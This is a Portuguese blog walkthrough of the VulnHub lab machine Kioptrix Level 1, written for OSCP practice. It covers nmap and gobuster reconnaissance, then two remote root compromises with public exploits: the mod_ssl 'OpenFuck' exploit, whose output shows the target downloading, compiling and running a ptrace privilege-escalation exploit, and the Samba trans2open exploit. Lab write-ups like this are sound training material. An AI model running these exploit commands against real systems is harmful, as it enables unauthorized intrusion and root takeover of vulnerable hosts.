Esse post é o primeiro de uma serie de writeups de box’s que eu estou resolvendo para praticar para a OSCP. A escolha pela Kioptrix se deu devido a um post que li sobre máquinas do vulmhub que são semelhantes ao exame da OSCP, o post está linkado ali então caso queira conferir é só clicar e ser ownado feliz.
Machine Name: Kioptrix: Level 1 (#1)
Resource: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
Durante a aventura contra não só essa box mas tantas outras do vulnhub é que pelo fato de serem antigas, surgiram novas vulnerabilidades, logo podem ter várias manerias de comprometer o alvo então vou estar documentando as diferentes formas de comprometer quando houver necessidade.
Uma vez que tenha realizado o download da vm, você pode iniciar ela utilizando o VMWarePlayer com a feature de abrir uma máquina virtual e apontando para o arquivo correto, ou converter com ovftool para o formato OVA e importar no VirtualBox, caso tenha problemas com o Vmware.
ovftool pathto.vmx output.ova
Antes de iniciar a VM, certifique-se de configurar a interface de rede em modo bridge e definir a interface de rede que o hospedeiro do host está utilizando para a rede local. Ao iniciar o procedimento de boot a VM deve receber um endereço IPv4 privado através de DHCP da rede.
Reconhecimento.
Para identificar o alvo na sua rede local você pode realizar um ping scan com o nmap da seguinte forma:
$ nmap -sn 172.16.0.0-100
Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-01 11:49 -02
Nmap scan report for 172.16.0.100
Host is up (0.030s latency).
Nmap done: 101 IP addresses (3 hosts up) scanned in 2.06 seconds
Uma vez que o alvo tenha sido identificado podemos iniciar os procedimentos de fingerprint do alvo, para isso podemos utilizar o nmap:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32768/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2019-11-02T23:10:28+00:00; +1h01m08s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
32768/tcp open status 1 (RPC #100024)
MAC Address: A0:C5:89:EC:EF:AA (Intel Corporate)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_clock-skew: mean: 1h01m07s, deviation: 0s, median: 1h01m07s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)</unknown></unknown>
Analisando o resultado do scan realizado pelo nmap é possível identificar que diversos serviços estão sendo executados no alvo, tais como ssh(22/tcp), http(80/tcp), rpc(111), https(443) e outros. Utilizando o programa GoBuster para a execução de um ataque de bruteforce contra aplicação web, que está rodando na porta 80/TCP, com o próposito de identificar diretórios e arquivos na aplicação.
O programa GoBuster foi utilizado GoBuster na versão Docker. É uma preferência pela flexibilidade nos parâmetros onde é possível definir threads, extensões de arquivos, status code e outros detalhes.
Gobuster v1.3 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://172.16.0.100/
[+] Threads : 30
[+] Wordlist : /wordlists/big.txt
[+] Status codes : 200,204,403
[+] Extensions : .php,.conf,.txt
[+] Expanded : true
=====================================================
http://172.16.0.100/test.php (Status: 200)
=====================================================
Contudo o resultado do procedimento não retornou muitos findings.
ModSSL Exploitation
Com a baixa expectativa de superficie de ataque contra a aplicação web, foi verificado os outros serviços que o alvo está rodando, sendo um deles no serviço HTTPS(443/tcp), foi identificado que o módulo do apache mod_ssl/2.8.4 OpenSSL/0.9.6b) possui falhas públicas e o respectivo exploit para a exploração.
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Uma consulta no serviço de busca do exploit-db retornou o seguinte exploit https://www.exploit-db.com/raw/47080. É necessário realizar o download do exploit remoto para a máquina de onde será disparado o ataque, para isso foi utilizado o programa curl.
curl -s https://www.exploit-db.com/raw/47080 >> OpenFuck.c
Posteriormente é necessário compilar o exploit uma vez que ele é escrito em C e precisa ser compilado para a utilização:
gcc -o OpenFuck OpenFuck.c -lcrypto
Depois de compilado, o ataque foi disparado contra o endereço IPv4 local do alvo, um fato curioso sobre esse exploit é que ele consegue acesso remoto sem autorização/interação e uma vez que o exploit consegue acesso ao alvo com um usuário limitado, no nosso caso o usuário apache(48), o exploit realiza o download de outro exploit(https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c) e executa a elevação de privilégio, entregando uma shell com usuário root(0) para o atacante.
$ ./OpenFuck 0x6b 172.16.0.100 443 -c 50
*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8070
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--01:58:26-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=&gt; `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]
0K ... 100% @ 1.87 MB/s
01:58:31 (1.87 MB/s) - `ptrace-kmod.c' saved [3921/3921]
/usr/bin/ld: cannot open output file exploit: Permission denied
collect2: ld returned 1 exit status
gcc: file path prefix `/usr/bin' never used
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
O exploit obteve exito, a vulnerabilidade permitiu acesso com usuário root(0). Jackpot!
Apenas para dar uma visualizada na operação do exploit selecionado, o trecho de comandos abaixo demonstra que uma vez que o comando exit é inserido na shell, a shell volta para o usuário apache(48) devido a elevação de privilégios executada por um segundo exploit.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit
bash-2.05$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-2.05$
SMB Exploitation
Uma segunda maneira que identifiquei para comprometer a box foi através do serviço do SMB.
Reconhecimento.
Na execução do reconhecimento de shares foram adotadas diversas ferramentas como smbclient,enum4linux visando obter a versão do serviço do Samba, porém, os testes para identificação de versão do serviço não obtiveram exito.
$ ./enum4linux.pl -d -o -i -v 172.16.0.100
[V] Dependent program "nmblookup" found in /usr/bin/nmblookup
[V] Dependent program "net" found in /usr/bin/net
[V] Dependent program "rpcclient" found in /usr/bin/rpcclient
[V] Dependent program "smbclient" found in /usr/bin/smbclient
WARNING: polenum.py is not in your path. Check that package is installed and your PATH is sane.
WARNING: ldapsearch is not in your path. Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Dec 1 12:34:36 2019
==========================
| Target Information |
==========================
Target ........... 172.16.0.100
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 172.16.0.100 |
====================================================
[V] Attempting to get domain name with command: nmblookup -A '172.16.0.100'
[+] Got domain/workgroup name: MYGROUP
=====================================
| Session Check on 172.16.0.100 |
=====================================
[V] Attempting to make null session using command: smbclient -W 'MYGROUP' //'172.16.0.100'/ipc$ -U''%'' -c 'help' 2&gt;&amp;1
[+] Server 172.16.0.100 allows sessions using username '', password ''
===========================================
| Getting domain SID for 172.16.0.100 |
===========================================
[V] Attempting to get domain SID with command: rpcclient -W 'MYGROUP' -U''%'' 172.16.0.100 -c 'lsaquery' 2&gt;&amp;1
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
======================================
| OS information on 172.16.0.100 |
======================================
[V] Attempting to get OS info with command: smbclient -W 'MYGROUP' //'172.16.0.100'/ipc$ -U''%'' -c 'q' 2&gt;&amp;1
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 172.16.0.100 from smbclient:
[V] Attempting to get OS info with command: rpcclient -W 'MYGROUP' -U''%'' -c 'srvinfo' '172.16.0.100' 2&gt;&amp;1
[+] Got OS info for 172.16.0.100 from srvinfo:
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
platform_id : 500
os version : 4.5
server type : 0x9a03
=============================================
| Getting printer info for 172.16.0.100 |
=============================================
[V] Attempting to get printer info with command: rpcclient -W 'MYGROUP' -U''%'' -c 'enumprinters' '172.16.0.100' 2&gt;&amp;1
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
No printers returned.
enum4linux complete on Sun Dec 1 12:34:37 2019
Foi possível obter boas informações do serviço porém não a versão do mesmo, uma nova tentativa com o Metasploit foi realizada, através do módulo auxiliary/scanner/smb/smb_version:
msf5 &gt; use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) &gt; show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf5 auxiliary(scanner/smb/smb_version) &gt; set RHOSTS 172.16.0.100
RHOSTS =&gt; 172.16.0.100
msf5 auxiliary(scanner/smb/smb_version) &gt; run
[*] 172.16.0.100:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 172.16.0.100:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Através do modulo do Metassploit, possível identificar que a versão do Samba é (2.2.1a), uma busca rápida por exploits públicos permitiu localizar o seguinte exploit https://www.exploit-db.com/exploits/10
É necessário realizar o download do exploit para a máquina qual vai disparar o ataque contra o alvo, para isso foi adotado o comadno wget.
$ wget -q https://www.exploit-db.com/raw/10 -O samba.c
O exploit foi escrito na linguagem C, é necessário compilar o código para obter um executável que irá ser usado para disparar o ataque, para isso foi utilizado o gcc.
$ gcc samba.c -o samba
Posteriormente a compilação do código, o disparo do exploit contra o alvo foi realizado.
$ ./samba -b 0 172.16.0.100
samba-2.2.8 &lt; remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
echo $HOSTNAME
kioptrix.level1
A falha do Samba, permitiu que o atacante conseguisse acesso com usuário root(0) de forma remota, sem autenticação ou interação com o usuário.
Conclusão:
Foi um desafio bem simples de executar, achei bem direto, sem guessing, como no mundo real. Não sei porquẽ ultimamente estou chateado com CTF’s guessing style, então curti bastante a box, simples, direta, técnica.
É isso, em breve mais writeups!